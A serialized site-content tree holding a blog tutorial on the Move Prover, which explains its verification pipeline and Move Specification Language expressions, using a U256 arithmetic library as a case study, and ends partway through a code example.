ag":85,"props":9376,"children":9377},{"style":169},[9378],{"type":26,"value":2282},{"type":21,"tag":85,"props":9380,"children":9381},{"style":120},[9382],{"type":26,"value":2846},{"type":21,"tag":85,"props":9384,"children":9385},{"style":114},[9386],{"type":26,"value":2535},{"type":21,"tag":85,"props":9388,"children":9389},{"class":87,"line":3333},[9390,9394,9398,9402,9406,9410,9414,9418],{"type":21,"tag":85,"props":9391,"children":9392},{"style":120},[9393],{"type":26,"value":3314},{"type":21,"tag":85,"props":9395,"children":9396},{"style":1021},[9397],{"type":26,"value":2918},{"type":21,"tag":85,"props":9399,"children":9400},{"style":114},[9401],{"type":26,"value":1439},{"type":21,"tag":85,"props":9403,"children":9404},{"style":120},[9405],{"type":26,"value":2724},{"type":21,"tag":85,"props":9407,"children":9408},{"style":114},[9409],{"type":26,"value":736},{"type":21,"tag":85,"props":9411,"children":9412},{"style":169},[9413],{"type":26,"value":2936},{"type":21,"tag":85,"props":9415,"children":9416},{"style":120},[9417],{"type":26,"value":2846},{"type":21,"tag":85,"props":9419,"children":9420},{"style":114},[9421],{"type":26,"value":2535},{"type":21,"tag":85,"props":9423,"children":9424},{"class":87,"line":3369},[9425],{"type":21,"tag":85,"props":9426,"children":9427},{"style":114},[9428],{"type":26,"value":3292},{"type":21,"tag":85,"props":9430,"children":9431},{"class":87,"line":3377},[9432],{"type":21,"tag":85,"props":9433,"children":9434},{"style":120},[9435],{"type":26,"value":3383},{"type":21,"tag":85,"props":9437,"children":9438},{"class":87,"line":3386},[9439],{"type":21,"tag":85,"props":9440,"children":9441},{"style":114},[9442],{"type":26,"value":191},{"type":21,"tag":85,"props":9444,"children":9445},{"class":87,"line":3394},[9446,9450,9454],{"type":21,"tag":85,"props":9447,"children":9448},{"style":120},[9449],{"type":26,"value":2500},{"type":21,"tag":85,"props":9451,"children":9452},{"style":120},[9453],{"type":26,"value":2715},{"type":21,"tag":85,"props":9455,"children":9456},{"style":114},[9457],{"type":26,"value":148},{"type":21,"tag":85,"props":9459,"children":9460},{"class":87,"line":3410},[9461,9465,9469],{"type":21,"tag":85,"props":9462,"children":9463},{"style":120},[9464],{"type":26,"value":2516},{"type":21,"tag":85,"props":9466,"children":9467},{"style":120},[9468],{"type":26,"value":3420},{"type":21,"tag":85,"props":9470,"children":9471},{"style":114},[9472],{"type":26,"value":2535},{"type":21,"tag":85,"props":9474,"children":9475},{"class":87,"line":3427},[9476,9480,9484],{"type":21,"tag":85,"props":9477,"children":9478},{"style":120},[9479],{"type":26,"value":3433},{"type":21,"tag":85,"props":9481,"children":9482},{"style":102},[9483],{"type":26,"value":3438},{"type":21,"tag":85,"props":9485,"children":9486},{"style":114},[9487],{"type":26,"value":2535},{"type":21,"tag":85,"props":9489,"children":9490},{"class":87,"line":3445},[9491,9495,9499,9503,9507,9511,9515,9519,9523,9527],{"type":21,"tag":85,"props":9492,"children":9493},{"style":120},[9494],{"type":26,"value":2543},{"type":21,"tag":85,"props":9496,"children":9497},{"style":1021},[9498],{"type":26,"value":2918},{"type":21,"tag":85,"props":9500,"children":9501},{"style":114},[9502],{"type":26,"value":1439},{"type":21,"tag":85,"props":9504,"children":9505},{"style":120},[9506],{"type":26,"value":3463},{"type":21,"tag":85,"props":9508,"children":9509},{"style":114},[9510],{"type":26,"value":736},{"type":21,"tag":85,"props":9512,"children":9513},{"style":169},[9514],{"type":26,"value":2936},{"type":21,"tag":85,"props":9516,"children":9517},{"style":1021},[9518],{"type":26,"value":2918},{"type":21,"tag":85,"props":9520,"children":9521},{"style":114},[9522],{"type":26,"value":1439},{"type":21,"tag":85,"props":9524,"children":9525},{"style":120},[9526],{"type":26,"value":2724},{"type":21,"tag":85,"props":9528,"children":9529},{"style":114},[9530],{"type":26,"value":777},{"type":21,"tag":85,"props":9532,"children":9533},{"class":87,"line":3490},[9534,9538,9542,9546,9550,9554,9558,9562,9566,9570,9574,9578,9582,9586,9590,9594,9598,9602,9606,9610,9614,9618,9622,9626,9630],{"type":21,"tag":85,"props":9535,"children":9536},{"style":120},[9537],{"type":26,"value":2543},{"type":21,"tag":85,"props":9539,"children":9540},{"style":120},[9541],{"type":26,"value":2979},{"type":21,"tag":85,"props":9543,"children":9544},{"style":120},[9545],{"type":26,"value":2984},{"type":21,"tag":85,"props":9547,"children":9548},{"style":102},[9549],{"type":26,"value":2989},{"type":21,"tag":85,"props":9551,"children":9552},{"style":2285},[9553],{"type":26,"value":2830},{"type":21,"tag":85,"props":9555,"children":9556},{"style":169},[9557],{"type":26,"value":2998},{"type":21,"tag":85,"props":9559,"children":9560},{"style":1021},[9561],{"type":26,"value":3520},{"type":21,"tag":85,"props":9563,"children":9564},{"style":114},[9565],{"type":26,"value":1439},{"type":21,"tag":85,"props":9567,"children":9568},{"style":120},[9569],{"type":26,"value":2724},{"type":21,"tag":85,"props":9571,"children":9572},{"style":114},[9573],{"type":26,"value":1900},{"type":21,"tag":85,"props":9575,"children":9576},{"style":169},[9577],{"type":26,"value":172},{"type":21,"tag":85,"props":9579,"children":9580},{"style":120},[9581],{"type":26,"value":3541},{"type":21,"tag":85,"props":9583,"children":9584},{"style":114},[9585],{"type":26,"value":3016},{"type":21,"tag":85,"props":9587,"children":9588},{"style":120},[9589],{"type":26,"value":3021},{"type":21,"tag":85,"props":9591,"children":9592},{"style":114},[9593],{"type":26,"value":3026},{"type":21,"tag":85,"props":9595,"children":9596},{"style":169},[9597],{"type":26,"value":2936},{"type":21,"tag":85,"props":9599,"children":9600},{"style":120},[9601],{"type":26,"value":3035},{"type":21,"tag":85,"props":9603,"children":9604},{"style":114},[9605],{"type":26,"value":3016},{"type":21,"tag":85,"props":9607,"children":9608},{"style":120},[9609],{"type":26,"value":3021},{"type":21,"tag":85,"props":9611,"children":9612},{"style":114},[9613],{"type":26,"value":3026},{"type":21,"tag":85,"props":9615,"children":9616},{"style":169},[9617],{"type":26,"value":3052},{"type":21,"tag":85,"props":9619,"children":9620},{"style":1021},[9621],{"type":26,"value":2918},{"type":21,"tag":85,"props":9623,"children":9624},{"style":114},[9625],{"type":26,"value":1439},{"type":21,"tag":85,"props":9627,"children":9628},{"style":120},[9629],{"type":26,"value":2724},{"type":21,"tag":85,"props":9631,"children":9632},{"style":114},[9633],{"type":26,"value":777},{"type":21,"tag":85,"props":9635,"children":9636},{"class":87,"line":3596},[9637],{"type":21,"tag":85,"props":9638,"children":9639},{"style":114},[9640],{"type":26,"value":191},{"type":21,"tag":54,"props":9642,"children":9643},{"id":3604},[9644],{"type":26,"value":3607},{"type":21,"tag":22,"props":9646,"children":9647},{},[9648],{"type":26,"value":3612},{"type":21,"tag":22,"props":9650,"children":9651},{},[9652],{"type":26,"value":3617},{"type":21,"tag":22,"props":9654,"children":9655},{},[9656,9657,9662],{"type":26,"value":3622},{"type":21,"tag":335,"props":9658,"children":9660},{"href":3625,"rel":9659},[339],[9661],{"type":26,"value":3629},{"type":26,"value":73},{"type":21,"tag":3632,"props":9664,"children":9665},{},[9666],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":9668},[9669,9670,9671],{"id":56,"depth":98,"text":59},{"id":2147,"depth":98,"text":2150},{"id":3604,"depth":98,"text":3607},{"_path":9673,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":9674,"description":9675,"author":10,"image":9676,"date":9679,"isFeatured":16,"tags":9680,"onBlogPage":16,"body":9683,"_type":3642,"_id":14030,"_source":3644,"_file":14031,"_stem":14032,"_extension":3647},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":9677,"height":9678,"width":14},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[9681,9682],"move","tutorial",{"type":18,"children":9684,"toc":14016},[9685,9704,9716,9722,9727,9732,9737,9746,9751,9765,9770,9776,9781,9795,9800,9937,9950,9955,9976,10010,10021,10027,10032,10042,10055,10398,10412,10430,10475,10488,10507,10679,10684,10689,10714,10719,11321,11333,11345,11350,11364,11369,11382,11423,11428,11460,11465,11470,11483,11868,11895,12102,12107,12119,12356,12361,12369,12388,12736,12741,12898,12903,12910,12924,12930,12935,12940,12946,12959,13191,13197,13202,13222,13491,13496,13502,13514,13519,13533,13539,13575,13675,13696,13702,13707,13712,13964,13969,13987,13991,13996,14001,14012],{"type":21,"tag":22,"props":9686,"children":9687},{},[9688,9690,9695,9697,9702],{"type":26,"value":9689},"Formal verification -- a powerful tool for ",{"type":21,"tag":39,"props":9691,"children":9692},{},[9693],{"type":26,"value":9694},"proving",{"type":26,"value":9696}," the correctness of your programs. How does it ",{"type":21,"tag":39,"props":9698,"children":9699},{},[9700],{"type":26,"value":9701},"actually",{"type":26,"value":9703}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":21,"tag":22,"props":9705,"children":9706},{},[9707,9709,9714],{"type":26,"value":9708},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":21,"tag":39,"props":9710,"children":9711},{},[9712],{"type":26,"value":9713},"all",{"type":26,"value":9715}," possible inputs.",{"type":21,"tag":54,"props":9717,"children":9719},{"id":9718},"move-prover",[9720],{"type":26,"value":9721},"Move Prover",{"type":21,"tag":22,"props":9723,"children":9724},{},[9725],{"type":26,"value":9726},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":21,"tag":22,"props":9728,"children":9729},{},[9730],{"type":26,"value":9731},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":21,"tag":22,"props":9733,"children":9734},{},[9735],{"type":26,"value":9736},"The architecture of the tool consists of multiple components as illustrated below.",{"type":21,"tag":22,"props":9738,"children":9739},{},[9740],{"type":21,"tag":4681,"props":9741,"children":9745},{"alt":9742,"src":9743,"title":9744},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":21,"tag":22,"props":9747,"children":9748},{},[9749],{"type":26,"value":9750},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":21,"tag":22,"props":9752,"children":9753},{},[9754,9756,9763],{"type":26,"value":9755},"The model is translated into an intermediate language, called ",{"type":21,"tag":335,"props":9757,"children":9760},{"href":9758,"rel":9759},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[339],[9761],{"type":26,"value":9762},"Boogie",{"type":26,"value":9764},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":21,"tag":22,"props":9766,"children":9767},{},[9768],{"type":26,"value":9769},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":21,"tag":54,"props":9771,"children":9773},{"id":9772},"move-specification-language",[9774],{"type":26,"value":9775},"Move Specification Language",{"type":21,"tag":22,"props":9777,"children":9778},{},[9779],{"type":26,"value":9780},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":21,"tag":22,"props":9782,"children":9783},{},[9784,9786,9793],{"type":26,"value":9785},"To better understand how to use the MSL, we will use ",{"type":21,"tag":335,"props":9787,"children":9790},{"href":9788,"rel":9789},"https://github.com/pontem-network/u256",[339],[9791],{"type":26,"value":9792},"Pontem's U256 library",{"type":26,"value":9794},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":21,"tag":22,"props":9796,"children":9797},{},[9798],{"type":26,"value":9799},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":21,"tag":75,"props":9801,"children":9803},{"code":9802,"language":79,"meta":7,"className":77,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[9804],{"type":21,"tag":66,"props":9805,"children":9806},{"__ignoreMap":7},[9807,9850,9870,9890,9910,9930],{"type":21,"tag":85,"props":9808,"children":9809},{"class":87,"line":88},[9810,9815,9819,9824,9829,9833,9838,9842,9846],{"type":21,"tag":85,"props":9811,"children":9812},{"style":102},[9813],{"type":26,"value":9814},"struct",{"type":21,"tag":85,"props":9816,"children":9817},{"style":108},[9818],{"type":26,"value":5499},{"type":21,"tag":85,"props":9820,"children":9821},{"style":120},[9822],{"type":26,"value":9823}," has",{"type":21,"tag":85,"props":9825,"children":9826},{"style":120},[9827],{"type":26,"value":9828}," copy",{"type":21,"tag":85,"props":9830,"children":9831},{"style":114},[9832],{"type":26,"value":256},{"type":21,"tag":85,"props":9834,"children":9835},{"style":120},[9836],{"type":26,"value":9837},"drop",{"type":21,"tag":85,"props":9839,"children":9840},{"style":114},[9841],{"type":26,"value":256},{"type":21,"tag":85,"props":9843,"children":9844},{"style":120},[9845],{"type":26,"value":261},{"type":21,"tag":85,"props":9847,"children":9848},{"style":114},[9849],{"type":26,"value":148},{"type":21,"tag":85,"props":9851,"children":9852},{"class":87,"line":98},[9853,9858,9862,9866],{"type":21,"tag":85,"props":9854,"children":9855},{"style":120},[9856],{"type":26,"value":9857},"    v0",{"type":21,"tag":85,"props":9859,"children":9860},{"style":169},[9861],{"type":26,"value":172},{"type":21,"tag":85,"props":9863,"children":9864},{"style":108},[9865],{"type":26,"value":177},{"type":21,"tag":85,"props":9867,"children":9868},{"style":114},[9869],{"type":26,"value":182},{"type":21,"tag":85,"props":9871,"children":9872},{"class":87,"line":151},[9873,9878,9882,9886],{"type":21,"tag":85,"props":9874,"children":9875},{"style":120},[9876],{"type":26,"value":9877},"    v1",{"type":21,"tag":85,"props":9879,"children":9880},{"style":169},[9881],{"type":26,"value":172},{"type":21,"tag":85,"props":9883,"children":9884},{"style":108},[9885],{"type":26,"value":177},{"type":21,"tag":85,"props":9887,"children":9888},{"style":114},[9889],{"type":26,"value":182},{"type":21,"tag":85,"props":9891,"children":9892},{"class":87,"line":160},[9893,9898,9902,9906],{"type":21,"tag":85,"props":9894,"children":9895},{"style":120},[9896],{"type":26,"value":9897},"    v2",{"type":21,"tag":85,"props":9899,"children":9900},{"style":169},[9901],{"type":26,"value":172},{"type":21,"tag":85,"props":9903,"children":9904},{"style":108},[9905],{"type":26,"value":177},{"type":21,"tag":85,"props":9907,"children":9908},{"style":114},[9909],{"type":26,"value":182},{"type":21,"tag":85,"props":9911,"children":9912},{"class":87,"line":185},[9913,9918,9922,9926],{"type":21,"tag":85,"props":9914,"children":9915},{"style":120},[9916],{"type":26,"value":9917},"    v3",{"type":21,"tag":85,"props":9919,"children":9920},{"style":169},[9921],{"type":26,"value":172},{"type":21,"tag":85,"props":9923,"children":9924},{"style":108},[9925],{"type":26,"value":177},{"type":21,"tag":85,"props":9927,"children":9928},{"style":114},[9929],{"type":26,"value":182},{"type":21,"tag":85,"props":9931,"children":9932},{"class":87,"line":501},[9933],{"type":21,"tag":85,"props":9934,"children":9935},{"style":114},[9936],{"type":26,"value":2671},{"type":21,"tag":22,"props":9938,"children":9939},{},[9940,9942,9948],{"type":26,"value":9941},"Now, let's consider the ",{"type":21,"tag":66,"props":9943,"children":9945},{"className":9944},[],[9946],{"type":26,"value":9947},"add(a: U256, b: U256): U256",{"type":26,"value":9949}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":21,"tag":22,"props":9951,"children":9952},{},[9953],{"type":26,"value":9954},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":21,"tag":22,"props":9956,"children":9957},{},[9958,9960,9966,9968,9975],{"type":26,"value":9959},"For example, if your file is ",{"type":21,"tag":66,"props":9961,"children":9963},{"className":9962},[],[9964],{"type":26,"value":9965},"sources/u256.move",{"type":26,"value":9967},", you can put specifications in ",{"type":21,"tag":335,"props":9969,"children":9972},{"href":9970,"rel":9971},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[339],[9973],{"type":26,"value":9974},"sources/u256.spec.move",{"type":26,"value":73},{"type":21,"tag":75,"props":9977,"children":9979},{"code":9978,"language":79,"meta":7,"className":77,"style":7},"spec add { ... }\n",[9980],{"type":21,"tag":66,"props":9981,"children":9982},{"__ignoreMap":7},[9983],{"type":21,"tag":85,"props":9984,"children":9985},{"class":87,"line":88},[9986,9990,9995,10000,10005],{"type":21,"tag":85,"props":9987,"children":9988},{"style":120},[9989],{"type":26,"value":2631},{"type":21,"tag":85,"props":9991,"children":9992},{"style":120},[9993],{"type":26,"value":9994}," add",{"type":21,"tag":85,"props":9996,"children":9997},{"style":114},[9998],{"type":26,"value":9999}," { ",{"type":21,"tag":85,"props":10001,"children":10002},{"style":169},[10003],{"type":26,"value":10004},"...",{"type":21,"tag":85,"props":10006,"children":10007},{"style":114},[10008],{"type":26,"value":10009}," }\n",{"type":21,"tag":22,"props":10011,"children":10012},{},[10013,10015,10020],{"type":26,"value":10014},"The specifications placed inside the specification blocks are considered ",{"type":21,"tag":39,"props":10016,"children":10017},{},[10018],{"type":26,"value":10019},"Expressions",{"type":26,"value":73},{"type":21,"tag":10022,"props":10023,"children":10025},"h3",{"id":10024},"expressions",[10026],{"type":26,"value":10019},{"type":21,"tag":22,"props":10028,"children":10029},{},[10030],{"type":26,"value":10031},"Let's go over some common expressions.",{"type":21,"tag":22,"props":10033,"children":10034},{},[10035,10040],{"type":21,"tag":66,"props":10036,"children":10038},{"className":10037},[],[10039],{"type":26,"value":2682},{"type":26,"value":10041}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":21,"tag":22,"props":10043,"children":10044},{},[10045,10047,10053],{"type":26,"value":10046},"For example, the ",{"type":21,"tag":66,"props":10048,"children":10050},{"className":10049},[],[10051],{"type":26,"value":10052},"add",{"type":26,"value":10054}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":21,"tag":75,"props":10056,"children":10058},{"code":10057,"language":79,"meta":7,"className":77,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[10059],{"type":21,"tag":66,"props":10060,"children":10061},{"__ignoreMap":7},[10062,10096,10103,10152,10174,10203,10240,10281,10288,10295,10310,10391],{"type":21,"tag":85,"props":10063,"children":10064},{"class":87,"line":88},[10065,10070,10075,10079,10083,10087,10092],{"type":21,"tag":85,"props":10066,"children":10067},{"style":102},[10068],{"type":26,"value":10069},"const",{"type":21,"tag":85,"props":10071,"children":10072},{"style":114},[10073],{"type":26,"value":10074}," P64",{"type":21,"tag":85,"props":10076,"children":10077},{"style":169},[10078],{"type":26,"value":172},{"type":21,"tag":85,"props":10080,"children":10081},{"style":108},[10082],{"type":26,"value":3214},{"type":21,"tag":85,"props":10084,"children":10085},{"style":169},[10086],{"type":26,"value":1941},{"type":21,"tag":85,"props":10088,"children":10089},{"style":2285},[10090],{"type":26,"value":10091}," 0x10000000000000000",{"type":21,"tag":85,"props":10093,"children":10094},{"style":114},[10095],{"type":26,"value":2535},{"type":21,"tag":85,"props":10097,"children":10098},{"class":87,"line":98},[10099],{"type":21,"tag":85,"props":10100,"children":10101},{"emptyLinePlaceholder":16},[10102],{"type":26,"value":703},{"type":21,"tag":85,"props":10104,"children":10105},{"class":87,"line":151},[10106,10110,10114,10119,10123,10127,10131,10135,10139,10143,10148],{"type":21,"tag":85,"props":10107,"children":10108},{"style":120},[10109],{"type":26,"value":2631},{"type":21,"tag":85,"props":10111,"children":10112},{"style":120},[10113],{"type":26,"value":532},{"type":21,"tag":85,"props":10115,"children":10116},{"style":1021},[10117],{"type":26,"value":10118}," value_of_U256",{"type":21,"tag":85,"props":10120,"children":10121},{"style":114},[10122],{"type":26,"value":1439},{"type":21,"tag":85,"props":10124,"children":10125},{"style":120},[10126],{"type":26,"value":335},{"type":21,"tag":85,"props":10128,"children":10129},{"style":169},[10130],{"type":26,"value":172},{"type":21,"tag":85,"props":10132,"children":10133},{"style":108},[10134],{"type":26,"value":5499},{"type":21,"tag":85,"props":10136,"children":10137},{"style":114},[10138],{"type":26,"value":1900},{"type":21,"tag":85,"props":10140,"children":10141},{"style":169},[10142],{"type":26,"value":172},{"type":21,"tag":85,"props":10144,"children":10145},{"style":120},[10146],{"type":26,"value":10147}," num",{"type":21,"tag":85,"props":10149,"children":10150},{"style":114},[10151],{"type":26,"value":148},{"type":21,"tag":85,"props":10153,"children":10154},{"class":87,"line":160},[10155,10160,10164,10169],{"type":21,"tag":85,"props":10156,"children":10157},{"style":120},[10158],{"type":26,"value":10159},"    a",{"type":21,"tag":85,"props":10161,"children":10162},{"style":169},[10163],{"type":26,"value":73},{"type":21,"tag":85,"props":10165,"children":10166},{"style":114},[10167],{"type":26,"value":10168},"v0 ",{"type":21,"tag":85,"props":10170,"children":10171},{"style":169},[10172],{"type":26,"value":10173},"+\n",{"type":21,"tag":85,"props":10175,"children":10176},{"class":87,"line":185},[10177,10181,10185,10190,10194,10198],{"type":21,"tag":85,"props":10178,"children":10179},{"style":120},[10180],{"type":26,"value":10159},{"type":21,"tag":85,"props":10182,"children":10183},{"style":169},[10184],{"type":26,"value":73},{"type":21,"tag":85,"props":10186,"children":10187},{"style":114},[10188],{"type":26,"value":10189},"v1 ",{"type":21,"tag":85,"props":10191,"children":10192},{"style":169},[10193],{"type":26,"value":3052},{"type":21,"tag":85,"props":10195,"children":10196},{"style":108},[10197],{"type":26,"value":10074},{"type":21,"tag":85,"props":10199,"children":10200},{"style":169},[10201],{"type":26,"value":10202}," +\n",{"type":21,"tag":85,"props":10204,"children":10205},{"class":87,"line":501},[10206,10210,10214,10219,10223,10227,10232,10236],{"type":21,"tag":85,"props":10207,"children":10208},{"style":120},[10209],{"type":26,"value":10159},{"type":21,"tag":85,"props":10211,"children":10212},{"style":169},[10213],{"type":26,"value":73},{"type":21,"tag":85,"props":10215,"children":10216},{"style":114},[10217],{"type":26,"value":10218},"v2 ",{"type":21,"tag":85,"props":10220,"children":10221},{"style":169},[10222],{"type":26,"value":3052},{"type":21,"tag":85,"props":10224,"children":10225},{"style":108},[10226],{"type":26,"value":10074},{"type":21,"tag":85,"props":10228,"children":10229},{"style":169},[10230],{"type":26,"value":10231}," *",{"type":21,"tag":85,"props":10233,"children":10234},{"style":108},[10235],{"type":26,"value":10074},{"type":21,"tag":85,"props":10237,"children":10238},{"style":169},[10239],{"type":26,"value":10202},{"type":21,"tag":85,"props":10241,"children":10242},{"class":87,"line":697},[10243,10247,10251,10256,10260,10264,10268,10272,10276],{"type":21,"tag":85,"props":10244,"children":10245},{"style":120},[10246],{"type":26,"value":10159},{"type":21,"tag":85,"props":10248,"children":10249},{"style":169},[10250],{"type":26,"value":73},{"type":21,"tag":85,"props":10252,"children":10253},{"style":114},[10254],{"type":26,"value":10255},"v3 ",{"type":21,"tag":85,"props":10257,"children":10258},{"style":169},[10259],{"type":26,"value":3052},{"type":21,"tag":85,"props":10261,"children":10262},{"style":108},[10263],{"type":26,"value":10074},{"type":21,"tag":85,"props":10265,"children":10266},{"style":169},[10267],{"type":26,"value":10231},{"type":21,"tag":85,"props":10269,"children":10270},{"style":108},[10271],{"type":26,"value":10074},{"type":21,"tag":85,"props":10273,"children":10274},{"style":169},[10275],{"type":26,"value":10231},{"type":21,"tag":85,"props":10277,"children":10278},{"style":108},[10279],{"type":26,"value":10280}," P64\n",{"type":21,"tag":85,"props":10282,"children":10283},{"class":87,"line":706},[10284],{"type":21,"tag":85,"props":10285,"children":10286},{"style":114},[10287],{"type":26,"value":2671},{"type":21,"tag":85,"props":10289,"children":10290},{"class":87,"line":1100},[10291],{"type":21,"tag":85,"props":10292,"children":10293},{"emptyLinePlaceholder":16},[10294],{"type":26,"value":703},{"type":21,"tag":85,"props":10296,"children":10297},{"class":87,"line":1339},[10298,10302,10306],{"type":21,"tag":85,"props":10299,"children":10300},{"style":120},[10301],{"type":26,"value":2631},{"type":21,"tag":85,"props":10303,"children":10304},{"style":120},[10305],{"type":26,"value":9994},{"type":21,"tag":85,"props":10307,"children":10308},{"style":114},[10309],{"type":26,"value":148},{"type":21,"tag":85,"props":10311,"children":10312},{"class":87,"line":1348},[10313,10318,10322,10326,10330,10334,10338,10342,10346,10350,10354,10359,10363,10367,10371,10375,10379,10383,10387],{"type":21,"tag":85,"props":10314,"children":10315},{"style":120},[10316],{"type":26,"value":10317},"    aborts_if",{"type":21,"tag":85,"props":10319,"children":10320},{"style":1021},[10321],{"type":26,"value":10118},{"type":21,"tag":85,"props":10323,"children":10324},{"style":114},[10325],{"type":26,"value":1439},{"type":21,"tag":85,"props":10327,"children":10328},{"style":120},[10329],{"type":26,"value":335},{"type":21,"tag":85,"props":10331,"children":10332},{"style":114},[10333],{"type":26,"value":736},{"type":21,"tag":85,"props":10335,"children":10336},{"style":169},[10337],{"type":26,"value":5151},{"type":21,"tag":85,"props":10339,"children":10340},{"style":1021},[10341],{"type":26,"value":10118},{"type":21,"tag":85,"props":10343,"children":10344},{"style":114},[10345],{"type":26,"value":1439},{"type":21,"tag":85,"props":10347,"children":10348},{"style":120},[10349],{"type":26,"value":3994},{"type":21,"tag":85,"props":10351,"children":10352},{"style":114},[10353],{"type":26,"value":736},{"type":21,"tag":85,"props":10355,"children":10356},{"style":169},[10357],{"type":26,"value":10358},">=",{"type":21,"tag":85,"props":10360,"children":10361},{"style":108},[10362],{"type":26,"value":10074},{"type":21,"tag":85,"props":10364,"children":10365},{"style":169},[10366],{"type":26,"value":10231},{"type":21,"tag":85,"props":10368,"children":10369},{"style":108},[10370],{"type":26,"value":10074},{"type":21,"tag":85,"props":10372,"children":10373},{"style":169},[10374],{"type":26,"value":10231},{"type":21,"tag":85,"props":10376,"children":10377},{"style":108},[10378],{"type":26,"value":10074},{"type":21,"tag":85,"props":10380,"children":10381},{"style":169},[10382],{"type":26,"value":10231},{"type":21,"tag":85,"props":10384,"children":10385},{"style":108},[10386],{"type":26,"value":10074},{"type":21,"tag":85,"props":10388,"children":10389},{"style":114},[10390],{"type":26,"value":2535},{"type":21,"tag":85,"props":10392,"children":10393},{"class":87,"line":1386},[10394],{"type":21,"tag":85,"props":10395,"children":10396},{"style":114},[10397],{"type":26,"value":2671},{"type":21,"tag":22,"props":10399,"children":10400},{},[10401,10403,10410],{"type":26,"value":10402},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":21,"tag":335,"props":10404,"children":10407},{"href":10405,"rel":10406},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[339],[10408],{"type":26,"value":10409},"MSL function",{"type":26,"value":10411},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":21,"tag":22,"props":10413,"children":10414},{},[10415,10417,10422,10423,10428],{"type":26,"value":10416},"A common pattern for ",{"type":21,"tag":66,"props":10418,"children":10420},{"className":10419},[],[10421],{"type":26,"value":2682},{"type":26,"value":6268},{"type":21,"tag":66,"props":10424,"children":10426},{"className":10425},[],[10427],{"type":26,"value":2690},{"type":26,"value":10429},", which lets you prove that a function will never abort.",{"type":21,"tag":75,"props":10431,"children":10433},{"code":10432,"language":79,"meta":7,"className":77,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[10434],{"type":21,"tag":66,"props":10435,"children":10436},{"__ignoreMap":7},[10437,10453,10468],{"type":21,"tag":85,"props":10438,"children":10439},{"class":87,"line":88},[10440,10444,10449],{"type":21,"tag":85,"props":10441,"children":10442},{"style":120},[10443],{"type":26,"value":2631},{"type":21,"tag":85,"props":10445,"children":10446},{"style":120},[10447],{"type":26,"value":10448}," critical_function",{"type":21,"tag":85,"props":10450,"children":10451},{"style":114},[10452],{"type":26,"value":148},{"type":21,"tag":85,"props":10454,"children":10455},{"class":87,"line":98},[10456,10460,10464],{"type":21,"tag":85,"props":10457,"children":10458},{"style":120},[10459],{"type":26,"value":10317},{"type":21,"tag":85,"props":10461,"children":10462},{"style":102},[10463],{"type":26,"value":3438},{"type":21,"tag":85,"props":10465,"children":10466},{"style":114},[10467],{"type":26,"value":2535},{"type":21,"tag":85,"props":10469,"children":10470},{"class":87,"line":151},[10471],{"type":21,"tag":85,"props":10472,"children":10473},{"style":114},[10474],{"type":26,"value":2671},{"type":21,"tag":22,"props":10476,"children":10477},{},[10478,10480,10486],{"type":26,"value":10479},"Another type of expression that we can use is ",{"type":21,"tag":66,"props":10481,"children":10483},{"className":10482},[],[10484],{"type":26,"value":10485},"ensures",{"type":26,"value":10487},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":21,"tag":22,"props":10489,"children":10490},{},[10491,10493,10498,10500,10505],{"type":26,"value":10492},"In the case of the ",{"type":21,"tag":66,"props":10494,"children":10496},{"className":10495},[],[10497],{"type":26,"value":10052},{"type":26,"value":10499}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":21,"tag":873,"props":10501,"children":10502},{},[10503],{"type":26,"value":10504},"MSL uses unbounded numbers",{"type":26,"value":10506},", we're able to very cleanly express this property without worrying about overflows.",{"type":21,"tag":75,"props":10508,"children":10510},{"code":10509,"language":79,"meta":7,"className":77,"style":7},"spec add {\n    aborts_if value_of_U256(a) + 